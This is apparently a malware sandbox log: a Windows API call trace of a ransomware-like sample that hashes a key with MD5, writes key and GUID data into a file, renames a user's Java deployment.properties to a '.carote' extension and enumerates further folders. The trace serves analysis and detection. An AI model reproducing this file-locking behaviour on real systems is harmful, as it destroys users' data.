[0114.094] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.094] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.094] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.094] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.095] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.095] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.095] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.095] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.095] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.095] GetLastError () returned 0x0 [0114.095] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.095] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.096] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2d0) returned 0x7a5d550 [0114.096] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.096] WriteFile (in: hFile=0x61c, lpBuffer=0x7a5d550*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a5d550*, lpNumberOfBytesWritten=0x825fb24*=0x2ca, lpOverlapped=0x0) returned 1 [0114.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d550 | out: hHeap=0x5010000) returned 1 [0114.096] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.096] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.096] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.096] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.096] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.096] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.096] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.096] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.096] CloseHandle (hObject=0x61c) returned 1 [0114.097] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0114.097] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0114.097] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0114.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.carote")) returned 1 [0114.098] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.098] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0114.099] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfc) returned 0x50f5608 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da2f0 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20e48 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20f10 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109e30 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20cb8 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20d80 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20bf0 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.099] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f6e8 [0114.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f5b8 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f6e8 | out: hHeap=0x5010000) returned 1 [0114.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.099] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0114.100] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f818 | out: hHeap=0x5010000) returned 1 [0114.100] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f818 [0114.100] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.102] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.102] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.103] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.103] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.104] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0114.104] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0114.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0114.105] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.105] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.105] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.105] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.105] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.105] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.105] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.105] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.105] PathFindFileNameW (pszPath="") returned="" [0114.105] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x825fba4 | out: 